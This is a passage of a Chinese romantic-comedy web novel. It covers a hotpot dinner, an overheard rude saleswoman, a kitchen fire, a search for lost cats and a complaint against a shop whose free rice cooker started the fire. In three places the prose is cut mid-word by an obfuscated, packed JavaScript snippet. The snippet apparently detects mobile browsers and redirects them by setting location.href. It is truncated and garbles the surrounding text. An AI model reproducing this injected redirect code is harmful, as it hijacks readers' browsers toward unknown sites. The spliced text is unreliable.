周俊臻继续举例:“有次过年放鞭炮,易诚负责点火,常乐非要去凑热闹,结果鞭炮都炸了,她才起身往回跑,还摔了一跤。”他看向常乐,“你蹲在地上哭,羽绒服里的毛被炸得满天飞,你还记得吧?” 常乐:“当然记得,可是……” 怎么同一件事,在不同的人记忆里,能有这么大的偏差呢? 易诚撇过头,幽幽地看了她一眼。 眼里仿佛写了四个大字: 沉冤得雪。 常乐回瞪他一眼。 看什么看?就算这两次是我记错了,但是你把我铲飞那次,没有任何洗白的余地。 常乐干笑两声:“俊臻哥,你记性真好,这点小事都能记这么久,我早就忘了,哈哈哈……” 三人的聊天在尴尬中结束。 幸好,翠姨又扯起了新话题:“对了常乐,你姥爷是不是有个抖音号啊?我刷到他的视频了,初恋女友要办八十大寿那个。” 常乐脸色微窘,低头挠了挠耳根。 取标题的时候只想着怎么夸张怎么来,没想到,被熟人刷到还是挺羞耻的。 “林老头也在玩抖音?”旁边有个大爷挺感兴趣,掏出手机,“叫什么名字?我找找。” 翠姨记不太清:“好像叫什么、什么林教主……” 常乐哭笑不得:“林、教、头。全称是‘退休的林教头’。” 易诚和周俊臻也掏出手机,在抖音上输入这个名字—— “没有啊。”易诚摇摇头,“没找到你姥爷。” 周俊臻蹙起眉:“我这儿也没有。” “是吗?”常乐疑惑地掏出手机。难道姥爷改名字了?还是因为内容过于奇葩被销号了?不至于吧,抖音上的奇葩还少吗? 常乐点进自己的关注列表,从上往下划,还真没找到林教头的名字。 再从下往上,一个个对比,终于发现一个陌生而可疑的昵称——“苏太强”。 点进去一看,果然是姥爷。 “扑哧——”常乐憋不住笑了。 之前还信誓旦旦说自己是有底线的,眼见这两天热度下降,播放量大不如前,就暗戳戳地把昵称给改了。 看来姥爷的底线也是弹性的,为了流量可以一降再降。以后穿女仆装、跳女团舞什么的,也指日可待了。 “可能是我记错了。”常乐收起手机,一脸淡定地说,“等我回去问问他吧。” 见翠姨张了张嘴,似乎还要再问什么,常乐抢先说:“我还有点事,就先走了。” 她冲易诚使了个眼色。 易诚也冲翠姨点点头,又对周俊臻说:“改天再聊。” 终于逃离八卦中心,常乐和易诚不约而同地长舒一口气。 常乐要去的火锅店在老街,开车难,停车更难,所以两人叫了辆出租。 到那儿已经五点半了,门口三三两两地坐了几拨人。 常乐第一时间取了个号,前面只有五桌,还好。 两人取了几样小食和饮料,坐在门口等着叫号。 常乐一边嗑瓜子,一边低头研究菜单。在发现这件店除了火锅还有炒菜后,她向易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588626|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诚提议:“要不我们点几个菜,你打包带回去给易叔叔吃?” 易诚淡淡一笑:“不用了,他在邻居家吃。” 怕常乐不明白,他解释道:“隔壁的王大妈跟我爸以前是同事,她经常喊我们去她家吃饭。有时候我要上课,或者有事出门,就会拜托她照顾一下我爸。算上伙食费,每个月给她三千块钱。” 常乐沉默片刻,收起菜单,抬眼望着易诚,说:“其实我有件事,一直想问你。” 易诚眉眼低垂,与她目光相接。 “你问吧。” “我觉得……”常乐移开视线,盯着手里的菜单,尽量用随意的口吻说,“你爸虽然需要人贴身照顾,但是你可以请一个护工啊,或者把他送到疗养院。为什么要辞掉工作,自己回来照顾呢?” 她记得,易诚大学学的是计算机专业,毕业后虽然没进大厂,但也在大城市找了份不错的工作。 抛弃大好的前途,回到这个小城市,不可惜吗? 易诚仰起头,像是在观察火锅店的招牌,又像是在思索。 常乐重新打开菜单,说:“你要是不想说就算了,我就是随便问问。” “不,我只是在想,该怎么回答。” 易诚收回视线,重新看向她。 “这要从我大四那年说起。” 大四下学期,易诚收到了一家科技公司的offer,易志刚很高兴,决定把多年的积蓄取出来,给易诚买辆车。 他四处打听该买什么车好,结果,有个所谓的朋友盯上了他这笔钱,跟一个玉石贩子合伙设了个局,诱骗他拿出所有积蓄,买了块玉石。 “十六万八,就买了块石头。”易诚摇摇头,笑容苦涩,“我听到这事都崩溃了,让他赶紧去报警,他却像走火入魔了一样,跟我说这块石头里能开出什么祖母绿。到时候不仅能给我买辆好车,还能全款买套房,我就没有后顾之忧了。” 常乐:好熟悉剧情啊…… 电光火石间,她忽然想起玉石店老板曾跟她讲过的故事:有个男人,买了块石头,切出来只有一点点玉,他出门后,就一头栽倒在地上…… 故事的主角,竟是易叔叔! “这是他第一次发病。幸好送医及时,才抢救了回来。” “那后来呢?那个骗子抓住了吗?” 易诚点点头:“我从学校赶回来,一边在医院照顾他,一边搜集证据报警,大概过了半年,案子才结束,追回了小十万。剩下的都被骗子们挥霍了。” 常乐长吁一口气:“也算是不幸中的万幸了。” 想想她自己,还有一万的工资,不知道何时能追回来呢。 易诚继续说:“一开始,我请了个护工照顾他,每天做饭、帮他擦洗、带他去做康复治疗,每个月四千,治疗加医药费三千多。说实话,光靠我的实习工资,不太够……就这么熬了几个月,眼看我就要转正了,家里突然传来消息,说我爸又发病了。” 常乐心头仿佛有块巨石,压得她喘不过气。 她有点后悔,不该在毫无心理准备的时候,聊起这么沉重的话题。 “所以,我就辞职了。”易诚耸耸肩,脸上的表情很平静,“一方面是为了省掉护工的费用,另一方面,我也很自责。我常常在想,如果我一毕业就回来照顾他,也许他就不会二次发病了。如果我平时对他多点关心,也许他就不会被骗钱了。” “你别这么想……”常乐没经历过这种事,不知道该怎么开导他,只能尽力安慰,“我觉得,易叔叔肯定不想耽误你的前程。” “我也纠结过,一边是工作,一边是亲人,到底该怎么选?” 某个深夜,易诚忽然惊醒。他发现自己不知何时起,已经被这个残酷的社会异化了。 他在这世上唯一的亲人,也是世界上最爱他的人,现在身患重病,也许所剩时日不多,而他居然还在权衡利弊、计较得失。 他为什么会变得这么冷血? 工作有那么重要吗?前途有那么重要吗? 他还年轻,人生路还很长,为什么不能空出这几年,陪父亲走完人生的最后一程呢? 19. 19 “A15,A15在吗——” 一道高亮的嗓音,将易诚的思绪拉回现实。 “这儿呢!”常乐急忙举起手,催促易诚起身。 跟着服务员进店时,她还顺手从门口的吧台上捞了一把瓜子。 两人被带到中间的一处卡座坐下。 易诚正要拿菜单,常乐提醒道:“这家店有团购,双人餐才129,就买这个吧。” 易诚忍不住笑了:“请你吃饭还团购,这不显得我太没诚意了吗?” 常乐不以为意:“又不是相亲,这么讲究干什么?该省省该花花呗。” “还是点菜吧。”易诚摊开菜单,递到常乐面前,“想吃什么可以自己选。” 常乐不耐烦地“啧”了一声,“就听我的,买套餐。你不买我买了啊,你把钱转我就行。” “哎你——”易诚无可奈何,只好掏出手机,“算了算了,我买吧。” 店内闷热,两人没坐多久,额上就泛起一层薄汗。 易诚脱下羽绒服,只穿着一件黑色连帽卫衣,露出白净的脖子,看上去清清爽爽。 常乐也想脱下外套。拉链拉到一半,她才突然想起,里面穿的是一件紫色牡丹花纹的保暖内衣,跟她姥姥穿的是同款—— 这还是前几天逛街时,林文娟为了凑够三件六折的优惠,强行给她买的。 常乐尴尬地拉上了拉链。 “怎么了?”易诚注意到她的脸色,关切地问。 “……没什么。”常乐端起茶杯一口饮尽,懊恼自语,“早知道就穿件体面点的打底衫了。” 易诚若有所思。随后,他双手揪住卫衣的衣摆,往上一掀,里面的T恤也被带起,露出一截白皙的腹部。 轮廓清晰,瘦而不柴,甚至还有格状的起伏。 常乐瞳孔骤然放大,嘴巴呆呆地张开,又赶紧合上。 易诚脱下卫衣,往下扯了扯T恤,又捋了捋乱蓬蓬的头发。 常乐心虚地挪开视线。 易诚把卫衣递给她,“穿我的吧。” 常乐挠挠鼻尖,没接,“那多不好意思。” “没事儿,我里面还穿了T恤。” 易诚站起身,把衣服塞到常乐怀里,转身去餐台取小料。 他的背影刚在拐角处消失,常乐就飞快地脱下羽绒服,手忙脚乱地套上他的卫衣。 衣服穿在身上松松垮垮的,袖子需要挽两道才能露出手腕。不过味道还挺好闻,像春天的香樟树。 还带着余温,熨帖着她的胸口,连带着心脏,都融进了这片暖意中。 没过多久,易诚就端着小料回来了。他的视线落在常乐身上,牵唇笑了下,没有发表意见。 常乐故作镇定地嗑着瓜子。 幸好此时,服务员端来热气腾腾的鸳鸯锅,菜品也一一上桌,摆放整齐。 在等待锅底烧开时,易诚又聊回了刚刚的话题:“对了,你为什么突然问我过去的事?” 常乐把桌上的瓜子壳拢到手心,扔进垃圾桶。 “因为啊,”她拍了拍手上的灰,不紧不慢地说,“我现在也有同样的困扰,到底该去大城市打拼,还是待在老家安度余生。说实话,我挺纠结的。” 易诚摇摇头,“我们俩的情况不一样。” 常乐说:“其实本质上都一样。你辞职回家,虽然是形势所迫,但也是你主动选择的。你肯定也纠结过吧?” 锅底终于烧开了,红油翻滚,香辣扑鼻。 常乐往锅里涮了几片羊肉,慢悠悠地说:“我在上大学前,也对大城市充满了向往,以为自己一毕业,就能成为一个白领丽人,在高档写字楼里上班,下班后回到漂亮的公寓,还有一柜子精致的衣服。后来发现——”她嗤一声,夹起涮好的羊肉,“全是幻想。” 她一边嚼着羊肉一边吐槽:“大城市的好,跟我有什么关系?我只是个租着便宜公寓、吃着垃圾外卖、上着毫无前途的班的底层打工人。 “都说大城市机会多,可我完全看不到我的机会在哪儿。在BOSS直骗上?还是在前程堪忧上?都说大城市很自由,可我天天起早贪黑地上班,连单休都是奢望,这也叫自由? “还有的说大城市热闹繁华,我每个月除去房租吃饭和交通,只剩下一千多,繁华和热闹,我只能看看,根本消费不起。” 易诚蹙着眉,注视着她,眼里有几分不解。 “你都想得这么明白了,为什么还会纠结呢?” “我就是……”常乐垂下眼帘,眸色黯了下来,“有一点不甘心。” 易诚一时无言。 “你呢?”常乐从锅里夹起一只牛肉丸,反问道,“你会不甘心吗?” 易诚勉强笑了下,没说话。 就在这时,隔壁桌突然传来一道刺耳的女声:“要我说,教师小区里全是一群穷逼!” 常乐吓得手一抖,丸子飞了出去,蹦蹦跶跶地滚回了锅里。 谁啊?嘴这么臭,还扫射一大片,连带着他们都被攻击了。 两人不约而同地转过头。 隔壁桌坐了四、五个年轻的男男女女,桌上摆着一堆啤酒瓶。 其中一个短发女孩大概是喝嗨了,用筷子敲打着锅边,继续大放厥词:“当过销售的都知道,老师这个群体是最难伺候的,又穷又抠事儿又多,踏马的……” 常乐和易诚面面相觑。 这不是门口理疗店那个小杨吗? 幸好两桌之间隔着挡板,需要伸长脖子才能看到对面。而隔壁桌聊得正欢,没人注意到他们。 常乐缩起脑袋,躲在挡板后,调侃易诚:“哟,这不是你那个干妹妹吗?” 易诚撑着手肘,挡住自己的侧脸,小声说:“别瞎说,我可不认。” 又听见小杨在高声嚷嚷:“我到这家店都一个多月了,才卖出去八台!整个小区有一千多号人啊,就八个人舍得掏钱,你说他们是不是抠逼?亏我还认了十多个干爹干妈呢,天天鞍前马后地伺候他们,给他们擦屎端尿……” 常乐听得又气又好笑。她小声问易诚:“她还给你爸擦屎端尿?” 易诚脸涨得通红,辩解道:“没有的事,她瞎说的!” 同桌有个小伙子恭维道:“杨姐,这个战绩相当可以了,一台提成三千多呢,你可以过个好年了。” 一个女孩附和道:“对啊,已经很好了。你看看我,上个月才开了两单。” “小林啊,”小杨的声音再度响起,“不是我说你,你们店就在棕榈湾门口,里面住的全是有钱的老板,要是让我去,那不是分分钟拿下?” 小伙子打趣道:“是拿下订单还是拿下客户啊?” 桌上爆发一阵哄笑。 常乐对着火锅翻了个白眼。 易诚夹起那只成功逃窜的丸子,放到常乐碗里,轻声劝道:“吃吧,别管他们了。” 常乐忿忿不平:“可是她说我们是穷波一!” 她有家教,那个字她说不出口。 易诚淡淡地说:“有些人为了赚钱,什么话都说得出口,别跟他们打交道就行了。” 常乐想起初见小杨时她热情的笑脸,后来几次在小区门口偶遇,她都会主动招呼,嘘寒问暖。还有上次,她免费送来一套电疗仪,离开时还把家里的垃圾给带走了…… 真是知人知面不知心。 常乐问易诚:“对了,她有没有往你家送电疗仪?” “送过,说是免费使用半个月。”易诚也有些困惑,“不知道她要干嘛。” 常乐咬牙切齿道:“她怎么会这么好心?肯定有诈!” 易诚端起盘子,往锅里下蘑菇,劝道:“你不掏钱,她还能硬抢吗?别担心了。” 隔壁桌吃得差不多了,几个年轻人推搡着桌椅,摇摇晃晃地起身。 常乐也腾地站起身。 “哎,你要干嘛?”易诚伸手想拉住她。 常乐没搭理他。她转头看向隔壁那伙人,正好与小杨打个照面。 小杨一愣,醉意朦胧的眼里恢复了些许理智,眉头微蹙,似乎在记忆库里搜索眼前这张脸。 “小杨,好巧啊。”常乐大声跟她打招呼,“你今天没去店里啊?” 小杨敷衍地“嗯嗯”两声,仍没想起她是谁。 常乐一把揪住易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594660|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诚的衣领,把他提了起来。 易诚尴尬地左看右看,最后勉强挤出一个笑,跟小杨打了声招呼。 这下,小杨彻底认出他们了。 在短短的几秒内,她的表情可谓精彩纷呈,从惊愕、到尴尬、到懊悔,到镇定自若。 很快,她露出招牌笑容,热情地说:“呀,是你们啊!你们什么时候来的?” 脸皮真厚啊。 常乐心中暗骂,脸上却笑眯眯的:“来了有一会儿了。要不是听到你在大骂教师小区,我还没认出你呢。” “呃,我刚刚……”再厚的脸皮也撑不住了,小杨开始结巴,“我喝醉了,说了太多话,我自己也记不住了……” 常乐一脸认真:“没关系,我没喝醉。我都帮你记着啦。需要我复述一遍吗?” 小杨讪笑道:“哈哈哈不用了……对了,我还有事就先走了,你们慢慢吃……” 销冠和她的同伙们落荒而逃。 常乐翻了个白眼,转身坐回原位,夹起碗里的牛肉丸,气咻咻地咬了一口。 从丸子里飙出一道汤汁,全都溅到易诚的脸上了。 “对不起啊!”她连忙道歉。 “没事儿,不烫。”易诚扯了张纸巾,擦了擦脸,语气有些无奈,“解气了吧?” 常乐扬起嘴角,挑挑眉,露出得意的笑。 -- 火锅快吃完时,桌边来了个脸色红润、体型圆润的男人,手里拿着一沓东西,客客气气地问:“两位对我们店的菜品还满意吗?” “不错不错。”常乐和易诚连连点头。 男人又问:“您这边是团购的吗?方便给我们写个好评吗?” 易诚掏出手机,“行,要现在写吗?” “对的。”见易诚开始打字,男人从手里抽出两张票,递到常乐面前,“这是我们店的赠品,您二位这周末有空的话,可以去听听。” 常乐低头一看,脱口秀? 这小地方还有线下脱口秀呢? “是谁讲啊?”她抬起头看向老板。 这一看,可把她吓了一跳。这人竟然有点眼熟。 再仔细一瞧,这不是她的初中同学吗?那个叫什么、什么的…… “常乐?”男人也认出了她,惊喜地说,“我是洪子豪啊!” 常乐终于想起来了:“大红枣!” “对喽!这是我现在的艺名。”洪子豪拍着圆滚滚的肚子,笑呵呵地说。 “艺名?”常乐看了看手里的票,又看看他,恍然大悟,“哦,是你讲脱口秀啊!厉害了厉害了。” “没有没有。”洪子豪谦虚道,“这是个拼盘演出,我就讲二十分钟。” 常乐恭维道:“不错嘛,都成艺人了。” 洪子豪呵呵笑道:“哪里哪里,脱口秀就是我的业余爱好,这家店才是我的主业。” 常乐惊奇道:“哟,都当上大老板了!” “跟朋友合伙开的。”洪子豪大大咧咧地说,“花了不少钱做营销呢,不然生意能这么火?” 常乐:“……” 难怪她觉得这家店味道一般。 “改天我们再叙旧。”洪子豪戳了戳桌上的票,“一定要来啊,就当给我捧捧场。” 常乐扬起手,“好嘞,你先忙去吧,洪老板。” 等洪子豪走后,易诚也写完了好评。 他问常乐:“你同学啊?” 常乐拿起门票,冷哼一声:“嗯,初中同学。” 初中班里那个嘴贱的男同学。 那个当众给她取外号,没几天,自己摔了个狗吃屎的男同学。 没想到在这儿遇见了。常乐不禁感慨,小地方就是好啊,走两步就能遇见熟人。 不管是暗恋对象,还是暗杀对象。 “走吧。”常乐收起门票,拿起羽绒服。 两人走出火锅店。 冷风扑面而来,常乐后知后觉—— 这大红枣也太抠了,都当上大老板了,老同学来捧场,也不说打个折、抹个零什么的。 就送了两张票,还是用好评换的。 真抠。 20. 20 常乐和易诚吃过晚饭,又在老街上溜达了一圈,各自买了杯奶茶,才打道回府。 一阵“呜——呜——”声由远及近,紧接着,一辆红色消防车出现在视野里,一路疾驰,驶进了教师小区。 常乐和易诚大眼瞪小眼。 常乐问:“谁家起火了?” 易诚摇摇头,盯着消防车驶来的方向,等了一会儿,才说:“只有一辆车,情况应该不严重。” 常乐猛吸一口奶茶,说:“走,去看看。” 沿着小区主干道走了一段,远远地看见消防车停在3栋楼下。待两人走近,才发现二楼东侧的一扇小窗被火光映得通红,黑烟腾腾往外冒,不时蹿出一团火苗。 看位置,那里应该是厨房,周围的窗户没有透出火光,应该没有被波及。 楼下有不少居民在围观。大家都仰着头,交头接耳,指指点点,不时唏嘘几声。 常乐突然“欸”了一声,“这好像是孙奶奶家。” 易诚个头高,视线在人群中逡巡一圈,很快锁定目标—— “她在那儿。”他抬起手,提醒常乐,“你姥姥也在。” 常乐踮着脚尖望去,只见姥姥正搂着孙奶奶,手搭在她的肩上轻轻拍着,翠姨和周俊臻也在一旁,不停说着什么,似是在安慰。 一伙消防员扛着灭火设备大步冲上楼,剩下两个负责拉开警戒线,将围观人群驱散到十米开外。 常乐钻进人群中,挤到姥姥身后,光明正大地偷听—— 孙奶奶哭诉道:“哎哟怎么办啊,我家里还有几只猫啊,咪宝、肥宝、花宝、大黑子……” 姥姥安慰道:“没事的没事的,猫聪明得很,肯定从窗台上溜走了。” 孙奶奶继续哭:“我就出去一小会儿,怎么就着火了呢?我家里也没开火啊,到底是什么烧着了?” 翠姨尖声问:“会不会有什么电器没拔?” 孙奶奶回忆片刻,摇了摇头,“不知道啊,我这脑子现在乱哄哄的,实在想不起来……哎唷,也不知道是谁给报的警,咱们小区这么多人呢,一人一盆水还灭不了火吗?” 周俊臻严肃道:“厨房起火很危险的,万一引爆了燃气,危害就大了。专业的事还是得让专业的人来做。” 孙奶奶一时哑然。过了会儿,她担忧地问:“你说这消防车要不要钱啊?” 周俊臻:“……” 几分钟后,火势就得到了控制,黑烟渐渐消散了。又过了十几分钟,消防员陆续扛着设备下楼,在消防车前集合。 其中一个消防员将孙奶奶带到一旁,低头跟她交代了几句。孙奶奶边听边点头,连连道谢。 围观人群慢慢散开了,常乐回头找易诚,见他坐在不远处的花坛边,长腿微敞,手肘搁在膝盖上,优哉游哉地喝着奶茶。 常乐坐在他旁边,吸了一口波霸,边嚼边说:“问题不大。” 易诚:“什么原因引起的?” 常乐:“消防员说还需要调查,我估计,要么是燃气灶没关,要么是电路老化。” 易诚回忆道:“大学的时候,我有个室友用完吹风机没拔插头,结果起火了,把窗帘给烧了,还好发现得及时,没把整个宿舍烧光。”顿了顿,他补了一句,“不过,这事还是被辅导员知道了,我们全宿舍都背了个处分。” “啊?”常乐义愤填膺,“怎么还要株连九族呢?” “一个人用了违规电器,全宿舍都得通报批评,我们校规就是这么规定的。” “……你还真倒霉。” 易诚耸耸肩,“习惯了。” 两人有一搭没一搭地闲聊着。 奶茶快见底时,姥姥扶着孙奶奶从二楼下来,抬眼看到常乐,立马扬手招呼她过来。 常乐赶紧起身,“啥事啊?” 姥姥火急火燎地说:“老孙家的几只猫跑了,你俩眼神好,赶紧去找找。” 易诚跟在常乐身后,接话道:“行,这些猫长什么样?有照片吗?” 姥姥回头看向孙奶奶。 孙奶奶泪眼婆娑地看着他们,哭诉道:“哎哟我的宝啊,他们平时很乖的,肯定是被吓坏了,才跑了出去……” 常乐打断她的絮叨:“孙奶奶,有猫的照片吗?” “照片?”孙奶奶恢复了一丝理智,用纸巾揉了揉眼角,从兜里掏出手机,“我找找啊……” 等了几分钟,她终于找到了,逐一跟他们介绍:“这只白色的是咪宝,它是最胆小的,怎么会乱跑呢?一定是刚才人太多,把它——” 常乐忍无可忍,再次打断道:“这只黄色的是?” “它是肥宝,它平时最喜欢——” “那这只是?” “它叫花宝。”被打断几次后,孙奶奶终于学会抓重点了,“还有这只,是大黑子,以前是流浪猫,经常来我家蹭饭,我就收留了它。” 常乐掏出手机,对着猫咪的合照翻拍了一张。 “行,我俩去找。您先回去休息吧,我找到了给您送过来。” 接下来,常乐和易诚分头行动,开启了黑灯瞎火的找猫之旅。 咪宝最好找。它蜷缩在楼顶的角落里,黑夜中犹如一团白雪,手电筒的光一照,便无处遁形。 肥宝也好找,它匍匐在楼下的灌木丛中,像一块巨大的鹅卵石。 问题是,它体型太大,实在难以搬运。一开始,常乐找了个大号塑料袋,把它塞进去,铆足了劲儿才拎了起来。 结果刚走进楼道,塑料袋就撑裂了,它懒洋洋地躺在地上,翻着肚皮,眼神里散发着一股“既来之则安之”的悠哉。 常乐第一次对一只猫产生了深深的无语。 既然这么懒,那你跑什么呢? 又没到火烧眉毛的地步,真是瞎折腾。 无奈,常乐只得叫来易诚,两人抓住它的四只脚,才将它合力抬进了家门。 花宝是易诚找到的。它跑得最远,差点就出小区了。易诚翻遍了沿途的垃圾桶才找到它。 家里的猫粮不吃,偏偏喜欢啃垃圾桶里的鸡骨头,真是…… 易诚揪住花宝的后颈,将它拎起来,看着它作贼心虚的模样,忍不住想笑。 真是跟常乐一模一样。 至于大黑子,两人找了几个小时,喉咙都喊哑了,手机都没电了,还是连个影子都没找到。 它仿佛融进了黑夜里。 算了,常乐疲惫地摆摆手,先回去睡觉,明天再说吧。 既然大黑子这么放荡不羁爱自由,就让它多自由一会儿好了。 -- 辛苦了一晚上,常乐本以为能一觉睡到自然醒,结果一大清早又被林文娟冰冷的双手贴到后背给刺激醒了。 常乐在被窝里扭曲蠕动,嗷嗷叫唤:“妈,你是不是疯了?今天又不用上学,起那么早干嘛?” 林文娟拍拍她的屁股:“今天太阳好。” 常乐:So? 林文娟:“今天是腊月二十四,除尘日啊!正好赶上好太阳,我们得把床单被罩都洗了,鞋也得刷一遍。” 常乐睁开死鱼眼,呆呆地盯着天花板。 “发什么愣啊?”林文娟开始掀被子,“赶紧起来!别忘了,做家务是你的工作内容之一。” 冷空气入侵被窝,常乐一骨碌坐起身,紧紧裹住被子,打算顽抗到底。 恰在此时,门开了,姥姥出现在门口。 “乐儿醒了?正好,你把家里的桌子椅子柜子都给擦擦,我老眼昏花,上面落了灰都看不清。” 常乐双目呆滞,心想,既然看不清,那擦与不擦有何区别? 林文娟幸灾乐祸:“看吧,你越拖活儿就越多。” 常乐端坐不动,像一只发呆的粽子。 林文娟又催一遍:“赶紧的,擦桌子还是洗鞋,你自己选。” 事实上,常乐根本没有选择的余地。桌子刚擦到一半,她就被林文娟一个电话喊道楼上,劈头盖脸地训道:“床单都洗好了,怎么还不拿去晾?闷在洗衣机里要发臭了。” 常乐一脸怨气地从洗衣机里抠出皱成一团的床单,大跨步冲到楼顶,找了根空绳子,摊开挂上。 第二次抱着湿被单冲上楼时,常乐才明白林文娟为什么要起这么早——楼顶的绳子已经被各色床单、被罩、棉被占得满满当当的,常乐在被子的迷宫里晕头转向,转了好半天,才找到一处犄角旮旯的位置,将被单挂上。 正要下楼,又接到姥姥的电话:“乐儿啊,柜子擦了没有啊?我刚伸手一摸,怎么还有灰啊?” 常乐举着手机,三步并作两步冲下楼,嚷嚷道:“哪儿有灰?哪儿有灰?” 姥姥站在敞开的衣柜前,手伸进去,轻轻一抚,然后搓了搓手指,“你看,这不是灰吗?” 常乐瞪大眼,“里面也要擦?!” 姥姥:“当然了!大扫除就是要从里到外都打扫一遍啊!” 常乐做了个深呼吸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603537|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “行,我擦!” 她拿起抹布刚要开工,门口又传来林文娟的叫喊:“人呢?晒个被单怎么晒那么半天?” 常乐冲着门口大喊:“我这边还有活儿没干完!” 林文娟:“你快点!卫生间里还有一堆鞋等着刷呢!” 常乐:“……” 这是除尘日吗?不,这是除她日! 这俩奴隶主分明是想借机除掉她,给家里省一份口粮。 哼,她不可能任由黑心奴隶主压榨! 于是,常乐开始磨洋工。她将上班时学会的摸鱼大法,灵活运用到家务活上—— 第一步,慢。 她手拿抹布,左手一个慢动作,右手一个假动作,半个身子钻进柜子里,磨磨蹭蹭,拖拖拉拉,一分钟能干完的活儿,硬是花了六十秒。 第二步,拖。 比如去洗手间涮抹布时,顺道上个厕所。上厕所时,顺道玩一会儿手机……这一拖,十分钟又过去了。 第三步,溜。 楼上的洗衣机正在洗第三桶床单,常乐决定,待会儿她就以楼顶已经占满了、要出门找个新的晾晒架为由,抱着床单跑得远远的,直到天黑才回来。 她正美滋滋地计划着,一道喜庆的铃声乍然响起,随后传来姥姥的声音: “喂,老孙呐……猫找到了吗……自己跑回来了?哦哦那就好……起火原因找到了?啊?不会吧?那你打算怎么办……” 常乐急忙从洗手间里出来。 姥姥对着电话嚷嚷:“要不要我帮忙?行行行,那你自己小心点,不行就报警……” 终于等她挂断电话,常乐一脸急切地看着她。 姥姥以为她在惦记着猫:“大黑子找到了,自己跑回来的。” 常乐:……这是重点嘛? 行吧行吧,总算有了好消息,待会儿跟易诚说一声。 面对她期待的眼神,姥姥却没继续说下去,扭头就钻进了厨房。 “姥姥!”常乐追在她身后,“起火的原因是什么?” 姥姥蹲在地上,从橱柜里搬出一个方形包装盒。 咦?这是…… 做满三十次电疗的奖品?那个电饭煲? “就是它!”姥姥扶着橱柜站起身,发泄地踢了盒子一角,又怕踢坏了,不敢太用力,“老孙昨天用它来炖银耳汤,出门没一会儿就起火了。还说什么高档进口电器,对外售价1299,呸!就是个假冒伪劣产品!” 常乐惊讶之余,又觉得合情合理。 可不是么,贪便宜能有什么好结果? 也只有老人,才会把这种在网上都查不到品牌信息的三无产品当个宝。 常乐问:“这个电饭煲,你打算怎么办?” 用反正是不敢用了,就算不会起火,也会有其他隐患,比如内胆用的是劣质涂料,胶圈用的是劣质塑料…… 卖二手也不太好,毕竟不是什么好东西,她良心上过意不去。 要不卖废品?应该能抵个二十块钱吧? 正琢磨着,林文娟又在二楼呼唤了:“常乐!洗衣机都叫了老半天了,赶紧的!” “来了来了!”常乐急忙向楼上跑去。 不一会儿,她就抱着一大团床单下楼了,正巧,姥姥也抱着电饭煲准备出门。 “我拿去换别的东西。”姥姥说,“米面粮油什么的都行,反正不能白白浪费了。” 常乐急匆匆道:“我跟你一起去。” 两人走在小区里,兴致勃勃地商量着对策—— “姥,别换米,他们家的米不好,有沙子,上次差点把我牙崩碎了。” “那换成纸巾?” “纸巾也不好,薄薄的一层,一擦就破,还不如我从公司带回来的纸呢。” 每次上完厕所,都要花一分钟擦屁股,十分钟洗手,这种痛,常乐不想再体会。 “那换鸡蛋吧。鸡蛋是硬通货,吃不完还能送人,还能卖钱。” “行。”至少,到目前为止,这家店的鸡蛋没吃出什么问题。 姥姥盘算着:“这台电饭煲要1299元,鸡蛋就算他8毛钱一个,你算算,能换多少个鸡蛋?” 常乐:“……” 你想得倒挺美啊。 以她对这帮销售的了解,能给两袋鸡蛋就不错了。 常乐听说,孙奶奶和翠姨已经去店里讨要说法了,所以,她们此行的目的,薅点羊毛是假,火上添油才是真。 21. 21 理疗店的玻璃门外围了一圈人,都在探着脑袋朝里张望,不知道在看什么。 常乐暗叫不好:该不会已经跑路了吧? 拨开围观的人群往里看,店里还有几个熟脸的店员,各种设备仪器也都在。常乐松了一口气。 前公司给她留下的心理阴影太深了。 孙婆婆和翠姨也在店里,两人一手抓一个店员,正情绪激动地说着什么。 常乐推开玻璃门,正要进去,一个店员急忙拦住她:“哎哎不好意思,我们店今天不对外营业。” 姥姥一边把常乐往里推,一边嚷嚷:“进去点儿啊,挤死我了。” 常乐被她一个大力怼了进去,趔趄着撞上了翠姨。 “常乐!”翠姨回头看到她,像找到帮手一般,迫不及待地说:“你是大学生,你来评评理,我们用了他们店送的电饭煲引起了火灾,损失是不是该由他们承担?” 常乐回答得铿锵有力:“对!” “我也不多要,厨房重新装修一下,水电重新搞一下,加上那些烧坏的电器什么的,加在一起五万,不多吧?” 常乐像个专业的捧哏:“不多!” 翠姨越说越激动:“他们还说不能确定起火原因,那消防员都调查清楚了,还能有假吗?”她抬起手,戳着店员的胸口,“你们要是不赔,我就报警!” 常乐和姥姥齐声道:“对,报警!” 